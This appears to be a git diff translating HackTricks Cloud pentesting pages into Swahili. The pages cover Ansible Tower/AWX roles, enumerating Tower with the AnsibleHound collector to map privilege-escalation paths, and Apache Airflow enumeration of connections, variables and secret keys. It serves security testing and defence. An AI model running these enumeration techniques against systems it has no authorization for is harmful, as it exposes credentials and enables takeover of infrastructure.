stream = open(file_path, "rb")
file_streams.append(stream)
except Exception as e:
print(f"Error opening {file_path}: {e}")
if file_streams:
# Upload files and poll for completion
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
else:
print("No markdown files to upload.")"
# Close all file streams
for stream in file_streams:
stream.close()
"""

View File

@@ -4,10 +4,9 @@
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Run HackTricks Cloud Locally
_Nembo za Hacktricks & mwendo zimetengenezwa na_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Endesha HackTricks Cloud Kwenye Mashine Yako
```bash
# Download latest version of hacktricks cloud
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
@@ -34,30 +33,28 @@ export LANG="master" # Leave master for English
# Run the docker container indicating the path to the hacktricks-cloud folder
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Nakala yako ya ndani ya HackTricks Cloud itakuwa **inapatikana kwenye [http://localhost:3377](http://localhost:3377)** baada ya dakika moja.
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
### **Pentesting CI/CD Metodolojia**
### **Pentesting CI/CD Methodology**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
**Kwenye HackTricks CI/CD Metodolojia utapata jinsi ya pentest miundombinu inayohusiana na shughuli za CI/CD.** Soma ukurasa ufuatao kwa **utangulizi:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
### Pentesting Cloud Metodolojia
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
**Kwenye HackTricks Cloud Metodolojia utapata jinsi ya pentest mazingira ya cloud.** Soma ukurasa ufuatao kwa **utangulizi:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
### Leseni & Taarifa ya kutokuwa na dhamana
**Check them in:**
**Angalia hizi katika:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Stats
### Takwimu za Github
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -1,18 +1,14 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>

Binary file not shown.

Binary file not shown.

View File

@@ -1,63 +1,62 @@
# Ansible Tower / AWX / Automation controller Security
# Usalama wa Ansible Tower / AWX / Automation controller
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibles user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towers REST API and command-line interface make it simple to integrate it into current tools and workflows.
**Ansible Tower** au toleo lake la wazi [**AWX**](https://github.com/ansible/awx) pia linajulikana kama **kiwango cha mtumiaji wa Ansible, dashibodi, na REST API**. Pamoja na **udhibiti wa ufikiaji kulingana na majukumu**, kupanga kazi, na usimamizi wa hesabu wa picha, unaweza kusimamia miundombinu yako ya Ansible kutoka kwa UI ya kisasa. REST API ya Tower na kiolesura cha amri hufanya iwe rahisi kuunganisha na zana na mifumo ya kazi ya sasa.
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
**Automation Controller ni toleo jipya** la Ansible Tower lenye uwezo zaidi.
### Differences
### Tofauti
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
Kulingana na [**hii**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), tofauti kuu kati ya Ansible Tower na AWX ni msaada unaopatikana na Ansible Tower ina vipengele vya ziada kama udhibiti wa ufikiaji kulingana na majukumu, msaada wa APIs za kawaida, na mifumo ya kazi iliyofafanuliwa na mtumiaji.
### Tech Stack
### Teknohali
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
- **Redis**: Redis serves as a cache and a backend for the task queue.
- **Kiolesura cha Mtandao**: Hii ni kiolesura cha picha ambapo watumiaji wanaweza kusimamia hesabu, ithibati, templeti, na kazi. Imeundwa kuwa ya kueleweka na inatoa picha kusaidia kuelewa hali na matokeo ya kazi zako za automatisering.
- **REST API**: Kila kitu unachoweza kufanya katika kiolesura cha mtandao, unaweza pia kufanya kupitia REST API. Hii inamaanisha unaweza kuunganisha AWX/Tower na mifumo mingine au kuandika hatua ambazo ungeweza kufanya kawaida katika kiolesura.
- **Hifadhidata**: AWX/Tower inatumia hifadhidata (kawaida PostgreSQL) kuhifadhi usanidi wake, matokeo ya kazi, na data nyingine muhimu za uendeshaji.
- **RabbitMQ**: Hii ni mfumo wa ujumbe unaotumiwa na AWX/Tower kuwasiliana kati ya vipengele tofauti, hasa kati ya huduma ya mtandao na waendesha kazi.
- **Redis**: Redis inatumika kama cache na nyuma ya foleni ya kazi.
### Logical Components
### Vipengele vya Kihisia
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
- **Hesabu**: Hesabu ni **mkusanyiko wa mwenyeji (au nodi)** ambao **kazi** (Ansible playbooks) zinaweza **kufanywa**. AWX/Tower inakuruhusu kufafanua na kuunganisha hesabu zako na pia inasaidia hesabu za kidinamik ambazo zinaweza **kupata orodha za wenyeji kutoka mifumo mingine** kama AWS, Azure, n.k.
- **Miradi**: Mradi kimsingi ni **mkusanyiko wa Ansible playbooks** zinazotolewa kutoka kwa **mfumo wa udhibiti wa toleo** (kama Git) ili kuvuta playbooks za hivi punde inapohitajika.
- **Templeti**: Templeti za kazi zinafafanua **jinsi playbook fulani itakavyofanywa**, zikielezea **hesabu**, **ithibati**, na **vigezo** vingine vya kazi.
- **Ithibati**: AWX/Tower inatoa njia salama ya **kusimamia na kuhifadhi siri, kama funguo za SSH, nywila, na tokeni za API**. Ithibati hizi zinaweza kuunganishwa na templeti za kazi ili playbooks zipate ufikiaji unaohitajika zinapofanywa.
- **Injini ya Kazi**: Hapa ndipo uchawi unafanyika. Injini ya kazi imejengwa juu ya Ansible na inawajibika kwa **kufanya playbooks**. Kazi zinatumwa kwa injini ya kazi, ambayo kisha inafanya playbooks za Ansible dhidi ya hesabu iliyoteuliwa kwa kutumia ithibati zilizotolewa.
- **Wapangaji na Mkurugenzi**: Hizi ni vipengele vya juu katika AWX/Tower vinavyoruhusu **kazi kupanga** kufanywa kwa nyakati maalum au kuanzishwa na matukio ya nje.
- **Arifa**: AWX/Tower inaweza kutuma arifa kulingana na mafanikio au kushindwa kwa kazi. Inasaidia njia mbalimbali za arifa kama barua pepe, ujumbe wa Slack, webhooks, n.k.
- **Ansible Playbooks**: Ansible playbooks ni zana za usanidi, uwekaji, na uratibu. Zinabainisha hali inayotakiwa ya mifumo kwa njia ya automatisering, inayoweza kurudiwa. Imeandikwa kwa YAML, playbooks hutumia lugha ya automatisering ya Ansible kuelezea usanidi, kazi, na hatua zinazohitajika kutekelezwa.
### Job Execution Flow
### Mchakato wa Utekelezaji wa Kazi
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
2. **Job Initiation**:
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
3. **Job Queuing**:
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
4. **Job Execution**:
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
5. **Job Results**:
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- Users can then view the results through the Web Interface or query them via the REST API.
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
6. **External Systems Integration**:
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
1. **Mingiliano ya Mtumiaji**: Mtumiaji anaweza kuingiliana na AWX/Tower ama kupitia **Kiolesura cha Mtandao** au **REST API**. Hizi zinatoa ufikiaji wa mbele kwa kazi zote zinazotolewa na AWX/Tower.
2. **Kuanza Kazi**:
- Mtumiaji, kupitia Kiolesura cha Mtandao au API, anaanzisha kazi kulingana na **Templeti ya Kazi**.
- Templeti ya Kazi inajumuisha marejeleo kwa **Hesabu**, **Mradi** (unaoshikilia playbook), na **Ithibati**.
- Mara kazi inapoanzishwa, ombi linawekwa kwa AWX/Tower backend ili kupanga kazi kwa utekelezaji.
3. **Kupanua Kazi**:
- **RabbitMQ** inashughulikia ujumbe kati ya kipengele cha mtandao na waendesha kazi. Mara kazi inapoanzishwa, ujumbe unatumwa kwa injini ya kazi kwa kutumia RabbitMQ.
- **Redis** inafanya kazi kama nyuma ya foleni ya kazi, ikisimamia kazi zilizopangwa zinazosubiri utekelezaji.
4. **Utekelezaji wa Kazi**:
- **Injini ya Kazi** inachukua kazi iliyopangwa. Inapata taarifa muhimu kutoka kwa **Hifadhidata** kuhusu playbook inayohusiana na kazi, hesabu, na ithibati.
- Kwa kutumia playbook ya Ansible iliyopatikana kutoka kwa **Mradi** uliohusika, Injini ya Kazi inafanya playbook dhidi ya nodi za **Hesabu** zilizotolewa kwa kutumia **Ithibati** zilizotolewa.
- Wakati playbook inatekelezwa, matokeo yake ya utekelezaji (kumbukumbu, ukweli, n.k.) yanakamatwa na kuhifadhiwa katika **Hifadhidata**.
5. **Matokeo ya Kazi**:
- Mara playbook inapokamilisha utekelezaji, matokeo (mafanikio, kushindwa, kumbukumbu) yanahifadhiwa katika **Hifadhidata**.
- Watumiaji wanaweza kisha kuona matokeo kupitia Kiolesura cha Mtandao au kuyatafuta kupitia REST API.
- Kulingana na matokeo ya kazi, **Arifa** zinaweza kutumwa ili kuwajulisha watumiaji au mifumo ya nje kuhusu hali ya kazi. Arifa zinaweza kuwa barua pepe, ujumbe wa Slack, webhooks, n.k.
6. **Uunganisho wa Mifumo ya Nje**:
- **Hesabu** zinaweza kupatikana kwa kidinamik kutoka mifumo ya nje, kuruhusu AWX/Tower kuvuta wenyeji kutoka vyanzo kama AWS, Azure, VMware, na zaidi.
- **Miradi** (playbooks) zinaweza kupatikana kutoka kwa mifumo ya udhibiti wa toleo, kuhakikisha matumizi ya playbooks za kisasa wakati wa utekelezaji wa kazi.
- **Wapangaji na Mkurugenzi** wanaweza kutumika kuunganisha na mifumo au zana nyingine, na kufanya AWX/Tower ijibu kwa vichocheo vya nje au kufanya kazi kwa nyakati zilizopangwa.
### AWX lab creation for testing
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
### Uundaji wa maabara ya AWX kwa majaribio
[**Kufuata nyaraka**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) inawezekana kutumia docker-compose kuendesha AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,77 +82,76 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
### Supported roles
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
Jukumu lenye mamlaka zaidi linaitwa **System Administrator**. Mtu yeyote mwenye jukumu hili anaweza **kubadilisha chochote**.
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
Kutoka kwenye **white box security** ukaguzi, unahitaji **System Auditor role**, ambayo inaruhusu **kuangalia data zote za mfumo** lakini haiwezi kufanya mabadiliko yoyote. Chaguo lingine lingekuwa kupata **Organization Auditor role**, lakini itakuwa bora kupata ile nyingine.
<details>
<summary>Expand this to get detailed description of available roles</summary>
1. **System Administrator**:
- This is the superuser role with permissions to access and modify any resource in the system.
- They can manage all organizations, teams, projects, inventories, job templates, etc.
- Hii ni jukumu la superuser lenye ruhusa za kufikia na kubadilisha rasilimali yoyote katika mfumo.
- Wanaweza kusimamia mashirika yote, timu, miradi, orodha, templeti za kazi, nk.
2. **System Auditor**:
- Users with this role can view all system data but cannot make any changes.
- This role is designed for compliance and oversight.
- Watumiaji wenye jukumu hili wanaweza kuona data zote za mfumo lakini hawawezi kufanya mabadiliko yoyote.
- Jukumu hili limetengwa kwa ajili ya ufuatiliaji na usimamizi.
3. **Organization Roles**:
- **Admin**: Full control over the organization's resources.
- **Auditor**: View-only access to the organization's resources.
- **Member**: Basic membership in an organization without any specific permissions.
- **Execute**: Can run job templates within the organization.
- **Read**: Can view the organizations resources.
- **Admin**: Udhibiti kamili juu ya rasilimali za shirika.
- **Auditor**: Ufikiaji wa kuona tu wa rasilimali za shirika.
- **Member**: Uanachama wa msingi katika shirika bila ruhusa maalum.
- **Execute**: Anaweza kukimbia templeti za kazi ndani ya shirika.
- **Read**: Anaweza kuona rasilimali za shirika.
4. **Project Roles**:
- **Admin**: Can manage and modify the project.
- **Use**: Can use the project in a job template.
- **Update**: Can update project using SCM (source control).
- **Admin**: Anaweza kusimamia na kubadilisha mradi.
- **Use**: Anaweza kutumia mradi katika templeti ya kazi.
- **Update**: Anaweza kuboresha mradi kwa kutumia SCM (source control).
5. **Inventory Roles**:
- **Admin**: Can manage and modify the inventory.
- **Ad Hoc**: Can run ad hoc commands on the inventory.
- **Update**: Can update the inventory source.
- **Use**: Can use the inventory in a job template.
- **Read**: View-only access.
- **Admin**: Anaweza kusimamia na kubadilisha orodha.
- **Ad Hoc**: Anaweza kukimbia amri za ad hoc kwenye orodha.
- **Update**: Anaweza kuboresha chanzo cha orodha.
- **Use**: Anaweza kutumia orodha katika templeti ya kazi.
- **Read**: Ufikiaji wa kuona tu.
6. **Job Template Roles**:
- **Admin**: Can manage and modify the job template.
- **Execute**: Can run the job.
- **Read**: View-only access.
- **Admin**: Anaweza kusimamia na kubadilisha templeti ya kazi.
- **Execute**: Anaweza kukimbia kazi.
- **Read**: Ufikiaji wa kuona tu.
7. **Credential Roles**:
- **Admin**: Can manage and modify the credentials.
- **Use**: Can use the credentials in job templates or other relevant resources.
- **Read**: View-only access.
- **Admin**: Anaweza kusimamia na kubadilisha akreditivu.
- **Use**: Anaweza kutumia akreditivu katika templeti za kazi au rasilimali nyingine zinazohusiana.
- **Read**: Ufikiaji wa kuona tu.
8. **Team Roles**:
- **Member**: Part of the team but without any specific permissions.
- **Admin**: Can manage the team's members and associated resources.
- **Member**: Sehemu ya timu lakini bila ruhusa maalum.
- **Admin**: Anaweza kusimamia wanachama wa timu na rasilimali zinazohusiana.
9. **Workflow Roles**:
- **Admin**: Can manage and modify the workflow.
- **Execute**: Can run the workflow.
- **Read**: View-only access.
- **Admin**: Anaweza kusimamia na kubadilisha mchakato.
- **Execute**: Anaweza kukimbia mchakato.
- **Read**: Ufikiaji wa kuona tu.
</details>
## Enumeration & Attack-Path Mapping with AnsibleHound
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
`AnsibleHound` ni mkusanyiko wa BloodHound *OpenGraph* wa chanzo wazi ulioandikwa kwa Go ambao unageuza **read-only** Ansible Tower/AWX/Automation Controller API token kuwa grafu kamili ya ruhusa inayoweza kuchambuliwa ndani ya BloodHound (au BloodHound Enterprise).
### Why is this useful?
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments but now directed at your CI/CD estate.
1. Tower/AWX REST API ina utajiri mkubwa na inafichua **kila kitu na uhusiano wa RBAC** ambacho mfano wako unajua.
2. Hata na ruhusa ya chini zaidi (**Read**) token inawezekana kuhesabu kwa kurudi nyuma rasilimali zote zinazopatikana (mashirika, orodha, mwenyeji, akreditivu, miradi, templeti za kazi, watumiaji, timu…).
3. Wakati data ghafi inabadilishwa kuwa muundo wa BloodHound unapata uwezo sawa wa *attack-path* wa kuona ambao ni maarufu katika tathmini za Active Directory lakini sasa umeelekezwa kwenye mali zako za CI/CD.
Security teams (and attackers!) can therefore:
* Quickly understand **who can become admin of what**.
* Identify **credentials or hosts that are reachable** from an unprivileged account.
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
Timu za usalama (na washambuliaji!) zinaweza hivyo:
* Kuelewa haraka **nani anaweza kuwa admin wa nini**.
* Kutambua **akreditivu au wenyeji wanaoweza kufikiwa** kutoka kwa akaunti isiyo na ruhusa.
* Kuunganisha mipaka kadhaa “Read ➜ Use ➜ Execute ➜ Admin” ili kupata udhibiti kamili juu ya mfano wa Tower au miundombinu inayohusiana.
### Prerequisites
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
* Ansible Tower / AWX / Automation Controller inayopatikana kupitia HTTPS.
* Token ya API ya mtumiaji iliyo na mipaka ya **Read** tu (iliyoundwa kutoka *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 ili kukusanya mkusanyiko (au tumia binaries zilizojengwa tayari).
### Building & Running
```bash
@@ -164,7 +162,7 @@ go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
Ndani ya AnsibleHound inatekeleza *paginated* `GET` maombi dhidi ya (angalau) mwisho zifuatazo na moja kwa moja inafuata viungo `related` vinavyorejeshwa katika kila kitu cha JSON:
```
/api/v2/organizations/
/api/v2/inventories/
@@ -178,34 +176,29 @@ Internally AnsibleHound performs *paginated* `GET` requests against (at least) t
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
### BloodHound Transformation
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
Data ghafi ya Tower kisha **inabadilishwa kuwa BloodHound OpenGraph** kwa kutumia nodi maalum zilizoanzishwa na `AT` (Ansible Tower):
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
And edges modelling relationships / privileges:
Na edges zinazoonyesha uhusiano / haki:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
The result can be imported straight into BloodHound:
Matokeo yanaweza kuingizwa moja kwa moja katika BloodHound:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Optionally you can upload **custom icons** so that the new node types are visually distinct:
Kwa hiari unaweza kupakia **ikon za kawaida** ili aina mpya za nodi ziwe tofauti kwa mtazamo:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Defensive & Offensive Considerations
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
* Enforce **least privilege** and rotate / revoke unused tokens.
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
* A *Read* token kwa kawaida inachukuliwa kuwa haina madhara lakini bado inavuja **topolojia kamili na metadata ya akreditivu zote**. Treat it as sensitive!
* Enforce **least privilege** na badilisha / futa tokens zisizotumika.
* Monitor the API kwa uainishaji mwingi (maombi mengi ya mfululizo ya `GET`, shughuli kubwa ya pagination).
* Kutoka kwa mtazamo wa mshambuliaji hii ni mbinu bora ya *initial foothold → privilege escalation* ndani ya pipeline ya CI/CD.
## References
* [AnsibleHound BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,23 +1,22 @@
# Apache Airflow Security
# Usalama wa Apache Airflow
{{#include ../../banners/hacktricks-training.md}}
### Basic Information
### Taarifa za Msingi
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
[**Apache Airflow**](https://airflow.apache.org) inatumika kama jukwaa la **kuandaa na kupanga mipango ya data au kazi**. Neno "kuandaa" katika muktadha wa mipango ya data linaashiria mchakato wa kupanga, kuratibu, na kusimamia kazi ngumu za data zinazotokana na vyanzo mbalimbali. Lengo kuu la mipango hii ya data iliyopangwa ni kutoa seti za data zilizoshughulikiwa na zinazoweza kutumika. Seti hizi za data zinatumika sana na maombi mengi, ikiwa ni pamoja na lakini sio tu zana za akili ya biashara, sayansi ya data na mifano ya kujifunza mashine, ambazo zote ni msingi wa utendaji wa maombi makubwa ya data.
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
Kwa msingi, Apache Airflow itakuruhusu **kupanga utekelezaji wa msimbo wakati kitu** (tukio, cron) **kinatokea**.
### Local Lab
### Maabara ya Mitaa
#### Docker-Compose
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
Unaweza kutumia **faili ya usanidi ya docker-compose kutoka** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) kuanzisha mazingira kamili ya docker ya apache airflow. (Ikiwa uko kwenye MacOS hakikisha unatoa angalau 6GB ya RAM kwa VM ya docker).
#### Minikube
One easy way to **run apache airflo**w is to run it **with minikube**:
Njia moja rahisi ya **kufanya kazi na apache airflo**w ni kuikimbia **na minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
### Airflow Configuration
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
Airflow inaweza kuhifadhi **taarifa nyeti** katika usanidi wake au unaweza kupata usanidi dhaifu ulio katika nafasi:
{{#ref}}
airflow-configuration.md
@@ -38,7 +36,7 @@ airflow-configuration.md
### Airflow RBAC
Before start attacking Airflow you should understand **how permissions work**:
Kabla ya kuanza kushambulia Airflow unapaswa kuelewa **jinsi ruhusa zinavyofanya kazi**:
{{#ref}}
airflow-rbac.md
@@ -48,55 +46,52 @@ airflow-rbac.md
#### Web Console Enumeration
If you have **access to the web console** you might be able to access some or all of the following information:
Ikiwa una **ufikiaji wa console ya wavuti** unaweza kuwa na uwezo wa kufikia baadhi au yote ya taarifa zifuatazo:
- **Variables** (Custom sensitive information might be stored here)
- **Connections** (Custom sensitive information might be stored here)
- Access them in `http://<airflow>/connection/list/`
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
- List **users & roles**
- **Code of each DAG** (which might contain interesting info)
- **Variables** (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa)
- **Connections** (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa)
- Fikia hizo katika `http://<airflow>/connection/list/`
- [**Configuration**](./#airflow-configuration) (Taarifa nyeti kama **`secret_key`** na nywila zinaweza kuhifadhiwa hapa)
- Orodhesha **watumiaji & majukumu**
